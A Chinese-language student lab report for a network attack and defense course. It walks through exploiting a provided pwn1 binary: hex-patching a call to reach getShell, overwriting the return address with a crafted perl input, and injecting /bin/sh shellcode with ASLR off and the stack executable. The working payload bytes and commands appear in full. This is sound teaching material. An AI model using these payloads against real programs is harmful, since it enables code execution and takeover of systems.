20241904 2024-2025-2 《网络攻防实践》实验九
一、实践内容
1. 常用汇编指令
- NOP:NOP 指令即“空指令”。执行到 NOP 指令时,CPU 什么也不做,仅仅当做一个指令执行过去并继续执行 NOP 后面的一条指令,通常用于占位、对齐代码或延时。(机器码:90)
- JNE:条件转移指令,当零标志位 ZF=0 时跳转(即前一条比较或运算结果不为零或不相等)。(机器码:75)
- JE:条件转移指令,当零标志位 ZF=1 时跳转(即前一条比较或运算结果为零或相等)。(机器码:74)
- JMP:无条件转移指令。段内直接短转 Jmp short(机器码:EB)段内直接近转移 Jmp near(机器码:E9)段内间接转移 Jmp word(机器码:FF)段间直接(远)转移 Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。机器码因操作数类型而异。
2. 反汇编
反汇编 (Disassembly) 是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。
3. 十六进制编程器
十六进制编程器(Hex Editor)是一种直接操作二进制数据的底层编辑工具,它允许用户以十六进制形式查看和修改文件的原始字节,同时常辅以 ASCII 或 Unicode 字符预览,成为逆向工程、数据恢复、固件开发等领域的核心工具。其核心功能不仅限于基础的字节修改,更包含高级特性如正则表达式搜索、二进制差异对比、校验和计算,以及脚本化批量操作。例如在逆向分析恶意软件时,研究者可通过特征码(如 0x4D5A 对应 PE 文件头标志 “MZ”)快速定位程序入口点;在游戏修改中,玩家能直接调整内存中的数值字节(如将 0x3F800000 改为 0x40400000 以实现角色生命值翻倍);嵌入式开发者则依赖此类工具烧录固件,甚至修复因传输错误导致的文件头损坏。
4. shellcode
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为16进制的机器码,因为经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机器码,让电脑可以执行攻击者的任意指令。
5. 缓冲区溢出
计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
二、实践过程
任务:本次实践的对象是一个名为 pwn1 的 linux 可执行文件。该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用 Shell 。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何 Shellcode。
实践内容:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
(2)利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
(3)注入一个自己制作的 shellcode 并运行这段 shellcode。
1. 可执行文件的修改
- 输入命令
hostname lwl,将 kali 虚拟机名临时修改为 lwl;
![在这里插入图片描述]()
- 将从学习通下载的 pwn1文件复制入 kali 桌面并查看;
![在这里插入图片描述]()
- 输入命令行
objdump -d pwn1 | more,对 pwn1 文件进行反汇编;
![在这里插入图片描述]()
- 连续回车看到 getShell、foo、main 函数;可以看到 main 函数第四行调用 foo 函数对应的机器指令为 e8d7ffffff,call 的机器码为 e8。 call 调用 foo,同时在堆栈上压上返回地址值:080484ba。call 指令在编译后,以 call 所在位置为基址,然后把被 call 的位置的偏移地址汇编成字节码,此时会跳转到 foo 函数所在地址 08048491,080484ba + ffffffd7 = 08048491;
![在这里插入图片描述]()
- 现要将 call 语句的目标地址重定向为 getshell 函数,可以通过修改 foo 函数的地址为 getShell 函数地址 0804847d 实现,0804847d - 080484ba = ffffffc3,将 d7ffffff 改为 c3ffffff。
输入命令行cp pwn1 pwn20241904保护 pwn1文件,输入vi pwn20241904查看;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 发现是乱码,进入文件后按 Esc 键确保处于普通模式,然后输入
:%!xxd转换整个文件为十六进制;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 按插入键 i 将 d7ffffff 改为 c3ffffff ;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 修改后按 Esc 键输入
:%!xxd -r将文件恢复文本显示,最后输入:wq保存并退出;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 再次输入
objdump -d pwn20241904 | more查看反编译结果,可以看出已经调用了 getShell 函数,修改成功;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 重新运行一下 pwn1 文件和 pwn20241904,看文件功能是否改变,攻击成功。
![在这里插入图片描述]()
2. 构造输入字符串
- 使用
objdump -d pwn20241904 | more命令反编译文件观察 foo 函数,系统仅预留了 28(0x1c)字节的缓冲区,当输入的字符串长度过长将发生缓冲区溢出,我们的目标是输入一个长字符串使其溢出,覆盖返回地址;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 输入命令行
gdb pwn1对文件 pwn1 进行调试,再输入r运行,输入长字符串1111111122222222333333334444444455555555;输入info r可以看到 eip 的值为 0x35353535 ,即 5555 的 ASCII码;
![在这里插入图片描述]()
- 输入长字符串
1111111122222222333333334444444412345678,看到第33-36字节1234将覆盖到堆栈上的返回地址;
![在这里插入图片描述]()
- 再次确认 getShell 的内存地址为0804847d,所以要构造的长字符串第33-36字节为0x7d840408;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 通过之前的反汇编可知替换为 \x7d\x84\x04\x08 即可修改返回地址,其中 \x0a 表示回车。输入命令
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20241904,输入命令xxd 20241904查看文件的内容是否如预期;
![在这里插入图片描述]()
- 输入命令
(cat 20241904; cat) | ./pwn1,将 20241904 的输入作为 pwn1 的输入;可以看到攻击成功。
![在这里插入图片描述]()
3. 注入shellcode并运行
- 安装execstack;
![在这里插入图片描述]()
- 输入
execstack -s pwn1设置堆栈可执行,输入execstack -q pwn1查询文件的堆栈是否可执行;
![在这里插入图片描述]()
- 输入
echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化;使用输出重定向将 perl 生成的字符串存储到文件中perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20241904;
![在这里插入图片描述]()
- 输入
(cat input_20241904;cat) | ./pwn1注入攻击;
![在这里插入图片描述]()
- 再打开另一个终端,输入
ps -ef | grep pwn1查看 pwn1 的进程号,可以看到进程号为 94452;
![在这里插入图片描述]()
- 输入
gdb pwn1进行gdb 调试,输入attach 94452查看 pwn1 进程;输入disassemble foo,对 foo 进行反编译;接着输入break *0x080484ae在 0x080484ae 处设置断点;
![在这里插入图片描述]()
- 在第一个终端按下回车,在第二个终端输入
c。输入info r esp查看栈顶指针所在的位置为 0xffffd33c,输入命令x/16x 0xffffd33c查看存放内容;
![在这里插入图片描述]()
![在这里插入图片描述]()
- 看到 0xffffd33c 中有 0x04030201,就是返回地址的位置。计算得:
ffffd33c + 00000004 = ffffd340
输入命令 perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_20241904 重新构造shellcode内容;

- 然后输入
(cat input_20241904;cat) | ./pwn1命令再次运行,可以看到攻击成功。
![在这里插入图片描述]()
三、学习中遇到的问题及解决
- 问题1:对 pwn1 进行反汇编时,遇到
objdump: Warning: 'pwn1' is a directory错误;
![在这里插入图片描述]()
- 问题1解决方案:上网查询可知是因为试图对一个目录使用 objdump 命令,而 objdump 只能操作文件(如二进制可执行文件、目标文件等);而我复制进 kali 虚拟机的是一个文件夹,故需对其文件夹中的具体文件进行操作。
![在这里插入图片描述]()
- 问题2:安装gdb时,出现以下错误:系统尝试从官方源下载已不存在的旧版 gdb_16.2-2_amd64.deb;
![在这里插入图片描述]()
- 问题2解决方案:更新软件源配置并尝试重新安装gdb,安装成功。
![在这里插入图片描述]()
![在这里插入图片描述]()
- 问题3:安装时出现以下错误,而我已经将源更改为阿里云镜像源,但仍然无法安装 execstack,可能是因为该软件包在 Kali Linux 的默认仓库中不可用;
- - 问题3解决方案:尝试使用 Debian 的软件源来安装 execstack,首先备份当前的源列表文件,然后编辑源列表文件,添加 Debian 的非官方软件源,更新软件包列表,安装 execstack 成功。
![在这里插入图片描述]()
![在这里插入图片描述]()
四、实践总结
通过本次实践,学习了有关缓冲区溢出的相关知识和 shellcode 原理,学会了怎样去观察堆栈的变化,怎样去计算相关的地址并学会了一些汇编语法,同时对于 gdb 等调试工具的操作更加熟练。但是在实践过程中还是出现了一些自己不是很理解的问题,还需要多实践,继续深入学习。






































-

浙公网安备 33010602011771号